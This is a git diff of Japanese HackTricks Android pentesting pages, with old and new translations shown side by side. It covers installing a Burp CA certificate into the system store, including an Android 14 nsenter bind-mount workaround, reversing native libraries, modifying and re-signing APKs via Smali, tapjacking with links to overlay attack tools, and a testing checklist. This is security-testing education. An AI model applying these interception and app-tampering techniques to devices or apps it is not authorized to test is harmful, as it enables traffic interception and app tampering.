まず最初に、BurpからDer証明書をダウンロードする必要があります。これは_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_で行えます。
![](<../../images/image (367).png>)
**Der形式で証明書をエクスポート**し、**Android**が**理解できる**形式に**変換**します。**AVDのAndroidマシンでburp証明書を設定するためには、**このマシンを**`-writable-system`**オプションで**実行する必要があります。\
**Der形式で証明書をエクスポート**し、**Android**が**理解できる形式**に**変換**します。**AVDのAndroidマシンでburp証明書を設定するためには、**このマシンを**`-writable-system`**オプションで**実行する必要があります。\
例えば、次のように実行できます:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -32,7 +29,7 @@ adb reboot #Now, reboot the machine
## Magiscを使用する
もし**Magiscでデバイスをルート化した**（エミュレーターかもしれません）場合、**前の手順**に従ってBurp証明書をインストールできない場合、**ファイルシステムが読み取り専用**で書き込み可能に再マウントできない場合、別の方法があります。
もし**Magiscでデバイスをルート化した**（エミュレーターかもしれません）場合、**ファイルシステムが読み取り専用**で再マウントできないため、Burp証明書をインストールする前の**手順**に従えない場合、別の方法があります。
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次のことを行う必要があります：
@ -48,7 +45,7 @@ adb reboot #Now, reboot the machine
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書がそこにあることを確認します。
- 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書があることを確認します。
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
@ -56,11 +53,11 @@ adb reboot #Now, reboot the machine
最新のAndroid 14リリースでは、システム信頼の証明書機関（CA）証明書の取り扱いに大きな変化が見られました。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納されており、ルート権限を持つユーザーによってアクセスおよび変更可能で、システム全体に即座に適用されていました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動され、**`/apex`**パス内のディレクトリであり、本質的に不変です。
**APEX cacertsパス**を読み書き可能に再マウントしようとする試みは失敗に終わります。システムはそのような操作を許可しません。一時ファイルシステム（tmpfs）でディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。
**APEX cacertsパス**を読み取り可能に再マウントしようとすると失敗し、システムはそのような操作を許可しません。一時ファイルシステム（tmpfs）でディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。
Androidの初期化には`init`プロセスが関与しており、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。
それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨されており、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。
それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨され、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -124,25 +121,22 @@ echo "System certificate injected"
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用する予定のCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。
3. **Zygoteのバインドマウント**: `nsenter`を利用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動する責任を持つプロセスであり、このステップは以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するために必要です。使用されるコマンドは:
2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用するCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。
3. **Zygoteのバインドマウント**: `nsenter`を使用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動するプロセスであり、以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するためにこのステップが必要です。使用されるコマンドは:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
これにより、開始されるすべての新しいアプリが更新されたCA証明書の設定に従うことが保証されます。
4. **実行中のアプリへの変更の適用**: 既に実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは:
4. **実行中のアプリへの変更の適用**: すでに実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセス（PID 1）でバインドマウントを行い、その後`stop && start`コマンドでオペレーティングシステムをソフトリブートすることを含みます。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。
5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセス（PID 1）でバインドマウントを実行し、その後に`stop && start`コマンドでオペレーティングシステムをソフトリブートすることを含みます。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。
## 参考文献
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

44
src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
View File

@ -2,55 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
**詳細情報は次を確認してください：** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
**詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。
### 重要なポイント：
### 重要なポイント:
- **Androidアプリのネイティブライブラリ：**
- **Androidアプリのネイティブライブラリ:**
- パフォーマンス集約型タスクに使用されます。
- CまたはC++で書かれており、リバースエンジニアリングが難しいです。
- `.so`（共有オブジェクト）形式で見つかり、Linuxバイナリに似ています。
- Linuxバイナリに似た`.so`（共有オブジェクト）形式で見つかります。
- マルウェア作成者は分析を難しくするためにネイティブコードを好みます。
- **Javaネイティブインターフェース（JNI）とAndroid NDK：**
- **Javaネイティブインターフェース（JNI）とAndroid NDK:**
- JNIはJavaメソッドをネイティブコードで実装することを可能にします。
- NDKはネイティブコードを書くためのAndroid特有のツールセットです。
- JNIとNDKはJava（またはKotlin）コードとネイティブライブラリを橋渡しします。
- **ライブラリの読み込みと実行：**
- **ライブラリの読み込みと実行:**
- ライブラリは`System.loadLibrary`または`System.load`を使用してメモリに読み込まれます。
- JNI_OnLoadはライブラリの読み込み時に実行されます。
- Javaで宣言されたネイティブメソッドはネイティブ関数にリンクし、実行を可能にします。
- **Javaメソッドとネイティブ関数のリンク：**
- **動的リンク：** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。
- **静的リンク：** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。
- **リバースエンジニアリングツールと技術：**
- **Javaメソッドとネイティブ関数のリンク:**
- **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。
- **静的リンク:** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。
- **リバースエンジニアリングツールと技術:**
- GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。
- `JNIEnv`はJNI関数と相互作用を理解するために重要です。
- ライブラリの読み込み、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。
### リソース：
### リソース:
- **ARMアセンブリの学習：**
- **ARMアセンブリの学習:**
- 基本的なアーキテクチャの理解を深めるために推奨されます。
- Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されます。
- **JNIとNDKのドキュメント：**
- Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されています。
- **JNIとNDKのドキュメント:**
- [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [AndroidのJNIのヒント](https://developer.android.com/training/articles/perf-jni)
- [AndroidのJNIヒント](https://developer.android.com/training/articles/perf-jni)
- [NDKの始め方](https://developer.android.com/ndk/guides/)
- **ネイティブライブラリのデバッグ：**
- **ネイティブライブラリのデバッグ:**
- [JEBデコンパイラを使用してAndroidネイティブライブラリをデバッグする](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

40
src/mobile-pentesting/android-app-pentesting/smali-changes.md
View File

@ -1,24 +1,18 @@
# Smali - Decompiling/\[Modifying]/Compiling
# Smali - デコンパイル/[修正]/コンパイル
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
時には、隠された情報（おそらく非常に難読化されたパスワードやフラグ）にアクセスするためにアプリケーションコードを修正することが興味深い場合があります。そのため、apkをデコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。
**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
**オプコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
{% embed url="https://academy.8ksec.io/" %}
## 簡単な方法
時には、隠された情報（おそらくよく難読化されたパスワードやフラグ）にアクセスするためにアプリケーションコードを変更することが興味深い場合があります。その場合、apkを逆コンパイルし、コードを変更して再コンパイルすることが興味深いかもしれません。
**オペコードのリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
## ファストウェイ
**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行することなく、アプリケーションを**自動的に逆コンパイル**、変更、**再コンパイル**、署名＆インストールできます。
**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行することなく、アプリケーションを**自動的にデコンパイル**、修正、**再コンパイル**、署名＆インストールできます。
この作業を大いに簡素化する**スクリプト**は[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)です。
## APKを逆コンパイルする
## APKをデコンパイルする
APKToolを使用すると、**smaliコードとリソース**にアクセスできます：
```bash
@ -28,21 +22,21 @@ apktool d APP.apk
あなたが見るべき**興味深いファイルは**次の通りです：
- _res/values/strings.xml_（およびres/values/\*内のすべてのxml）
- _res/values/strings.xml_（およびres/values/*内のすべてのxml）
- _AndroidManifest.xml_
- 拡張子が_.sqlite_または_.db_のファイル
もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**（リソースをデコードしない）という引数を使用してみてください。そうすれば、問題がリソースにあり、ソースコードにはない場合、問題は発生しません（リソースもデコンパイルされません）。
もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**（リソースをデコードしない）という引数を使ってみてください。その後、問題がリソースにあり、ソースコードにない場合は、問題が発生しません（リソースもデコンパイルされません）。
## Smaliコードの変更
あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使用してSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正であるかどうか**を教えてくれます。\
あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使ってSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正であるかどうか**を教えてくれます。\
いくつかの**例**はここにあります：
- [Smali変更の例](smali-changes.md)
- [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
または、[**以下にいくつかのSmali変更の説明を確認することができます**](smali-changes.md#modifying-smali)。
または、[**以下のSmali変更の説明を確認することができます**](smali-changes.md#modifying-smali)。
## APKの再コンパイル
@ -56,7 +50,7 @@ apktool b . #In the folder generated when you decompiled the application
### **新しいAPKに署名する**
次に、**キーを生成**する必要があります（パスワードといくつかの情報をランダムに入力するよう求められます）：
次に、**キーを生成する**必要があります（パスワードといくつかの情報をランダムに入力するよう求められます）：
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
@ -73,13 +67,13 @@ zipalign -v 4 infile.apk
```
### **新しいAPKに署名する（再度？）**
もしあなたが**jarsigner**の代わりに[**apksigner**](https://developer.android.com/studio/command-line/)を使用することを**好む**なら、**zipalignで最適化を適用した後にapkに署名する必要があります**。しかし、**アプリケーションには一度だけ署名すればよいことに注意してください**（zipalignの前にjarsignerで）または（zipalignの後にaspsignerで）。
もしあなたが**apksigner**を使用することを**好む**場合、**最適化を適用した後にapkに署名する必要があります**。ただし、**アプリケーションには一度だけ署名する必要があることに注意してください**（zipalignの前にjarsignerで）または（zipalignの後にaspsignerで）。
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Smaliの変更
次のHello World Javaコードの場合:
次のHello World Javaコードについて:
```java
public static void printHelloWorld() {
System.out.println("Hello World")
@ -147,7 +141,7 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
- 関数内で宣言された変数（v0、v1、v2...）を使用する場合は、これらの行を _.local \<number>_ と変数の宣言 (_const v0, 0x1_) の間に置いてください。
- 関数のコードの中間にログ記録コードを挿入したい場合：
- 宣言された変数の数に2を加えます：例：_.locals 10_ から _.locals 12_ へ。
- 宣言された変数の数に2を加えます：例：_.locals 10_ から _.locals 12_ へ
- 新しい変数は、すでに宣言された変数の次の番号である必要があります（この例では _v10_ と _v11_ で、v0から始まることを忘れないでください）。
- ログ記録関数のコードを変更し、_v5_ と _v1_ の代わりに _v10_ と _v11_ を使用します。
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーをご利用ください。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

36
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **基本情報**
**Tapjacking**は、**悪意のある** **アプリケーション**が起動し、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\
**Tapjacking** は、**悪意のある** **アプリケーション** が起動し、**被害者アプリケーションの上に位置する** 攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\
実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。
### 検出
この攻撃に脆弱なアプリを検出するには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります（インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされることに注意してください）。エクスポートされたアクティビティを見つけたら、**それらが何らかの権限を必要とするか確認してください**。これは、**悪意のあるアプリケーションもその権限を必要とするためです**。
この攻撃に対して脆弱なアプリを検出するには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります（インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされることに注意してください）。エクスポートされたアクティビティを見つけたら、**それらが何らかの権限を必要とするか確認してください**。これは、**悪意のあるアプリケーションもその権限を必要とするためです**。
### 保護
#### Android 12 (API 31,32) 以降
[**この情報源によると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、**tapjacking攻撃はAndroid 12 (API 31 & 30) 以降、Androidによって自動的に防止されます。したがって、アプリケーションが脆弱であっても、**それを悪用することはできません**。
[**この情報源によると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、** tapjacking攻撃はAndroid 12 (API 31 & 30) 以降、Androidによって自動的に防止されます。したがって、アプリケーションが脆弱であっても、**それを悪用することはできません**。
#### `filterTouchesWhenObscured`
**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の可視ウィンドウによってウィンドウが隠されているときにタッチを受け取ることはありません。
**`android:filterTouchesWhenObscured`** が **`true`** に設定されている場合、`View` は別の可視ウィンドウによってウィンドウが隠されているときにタッチを受け取ることはありません。
#### **`setFilterTouchesWhenObscured`**
属性**`setFilterTouchesWhenObscured`**がtrueに設定されている場合、Androidバージョンが低い場合でもこの脆弱性の悪用を防ぐことができます。\
例えば、**`true`**に設定されている場合、ボタンは**隠されている場合に自動的に無効化される**ことがあります：
属性 **`setFilterTouchesWhenObscured`** をtrueに設定することでも、この脆弱性の悪用を防ぐことができます。\
例えば、**`true`** に設定されている場合、ボタンは自動的に**隠されている場合は無効化される**ことがあります：
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -37,33 +33,29 @@ android:layout_height="wrap_content"
android:filterTouchesWhenObscured="true">
</Button>
```
## 攻撃
## 利用
### Tapjacking-ExportedActivity
最も**最近のAndroidアプリケーション**でTapjacking攻撃を実行するもの（+ 攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出すこと）が見つかります: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
最も**最近のAndroidアプリケーション**でTapjacking攻撃を実行するもの（+ 攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出すこと）が見つかるのは: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
**READMEの指示に従って使用してください**。
### FloatingWindowApp
**FloatingWindowApp**を実装した例のプロジェクトは、他のアクティビティの上に置いてクリックジャッキング攻撃を実行するために使用できます。[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)（少し古いですが、apkのビルドに幸運を祈ります）。
**FloatingWindowApp**を実装した例のプロジェクトは、他のアクティビティの上に置いてクリックジャッキング攻撃を実行するために使用できるもので、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)に見つかります（少し古いですが、apkのビルドに幸運を祈ります）。
### Qark
> [!CAUTION]
> このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです。
> このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用し、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用することで、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\
緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用して:
緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用すると:
> アプリケーションがユーザーの完全な知識と同意のもとでアクションを実行していることを確認することが重要な場合があります。たとえば、権限リクエストを承認したり、購入を行ったり、広告をクリックしたりする場合です。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
> アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認することが重要な場合があります。たとえば、権限リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを無意識に実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
>
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるとき、ビューはタッチを受け取らなくなります。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときに、ビューはタッチを受け取らなくなります。
{{#include ../../banners/hacktricks-training.md}}

30
src/mobile-pentesting/android-checklist.md
View File

@ -2,11 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
### [Androidの基本を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
@ -26,20 +21,20 @@
### [静的分析](android-app-pentesting/#static-analysis)
- [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタムパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。
- [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。
- [ ] 銀行アプリのような敏感なアプリケーションは、モバイルがルート化されているか確認し、それに応じて行動する必要があります。
- [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)（パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど）を探します。
- [ ] [Firebase](android-app-pentesting/#firebase) APIに特に注意を払います。
- [ ] [マニフェストを読む：](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] アプリケーションがデバッグモードであるか確認し、「エクスプロイト」してみます。
- [ ] [firebase](android-app-pentesting/#firebase)APIに特に注意を払います。
- [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] アプリケーションがデバッグモードであるか確認し、「悪用」してみます。
- [ ] APKがバックアップを許可しているか確認します。
- [ ] エクスポートされたアクティビティ
- [ ] コンテンツプロバイダー
- [ ] 公開されたサービス
- [ ] ブロードキャストレシーバー
- [ ] URLスキーム
- [ ] アプリケーションが[内部または外部に不安全にデータを保存しているか](android-app-pentesting/#insecure-data-storage)？
- [ ] [ハードコーディングされたパスワードやディスクに保存されたパスワード](android-app-pentesting/#poorkeymanagementprocesses)はありますか？アプリは[不安全な暗号アルゴリズムを使用していますか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)？
- [ ] アプリケーションが[内部または外部にデータを安全でない方法で保存しているか](android-app-pentesting/#insecure-data-storage)？
- [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)？アプリは[安全でない暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)？
- [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか？
- [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
@ -48,23 +43,18 @@
- [ ] 環境を準備します（[オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)）
- [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)（ログ、コピー/ペースト、クラッシュログ）はありますか？
- [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか？
- [ ] [エクスプロイト可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか？
- [ ] [エクスプロイト可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか？
- [ ] [エクスプロイト可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか？
- [ ] [悪用可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか？
- [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか？
- [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか？
- [ ] アプリケーションが[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)？MitMは可能ですか？
- [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic)
- [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を探すことができます（HacktricksにはWebの脆弱性に関する多くの情報があります）。
- [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)を確認します（おそらく静的コード分析が役立ちます）。
